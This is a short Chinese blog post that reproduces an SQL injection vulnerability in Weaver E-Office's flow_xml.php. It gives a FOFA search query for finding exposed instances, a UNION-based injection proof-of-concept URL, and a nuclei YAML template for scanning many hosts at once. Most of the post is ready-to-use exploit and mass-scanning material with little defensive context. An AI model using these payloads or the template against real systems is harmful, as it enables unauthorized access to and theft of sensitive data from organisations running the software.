泛微E-Office flow_xml.php SQL注入漏洞

发布时间 2023-09-04 16:12:40作者: 学安全的小白

漏洞简介

泛微 E-office的flow_xml.php存在SQL注入漏洞,攻击者可利用该漏洞获取系统敏感信息等

漏洞复现

fofa语法:app="泛微-EOffice"
登录页面如下:

POC:/general/system/workflow/flow_type/flow_xml.php?SORT_ID=1%20union%20select%201,(md5(5)),3,4,5,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

nuclei批量yaml文件

id: eoffice_flow_xml_sqli
info:
  name: 泛微E-Office flow_xml.php SQL注入漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: sqli
requests:
  - raw:
      - |+
        GET /general/system/workflow/flow_type/flow_xml.php?SORT_ID=1%20union%20select%201,(md5(7)),3,4,5,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: binary
        part: body
        binary:
          - 6520746578743d22e4ba8ce4bba3e59cb0e7a381e8af95e782b9e6a0b7e59381
      - type: word
        part: header
        words:
          - '200'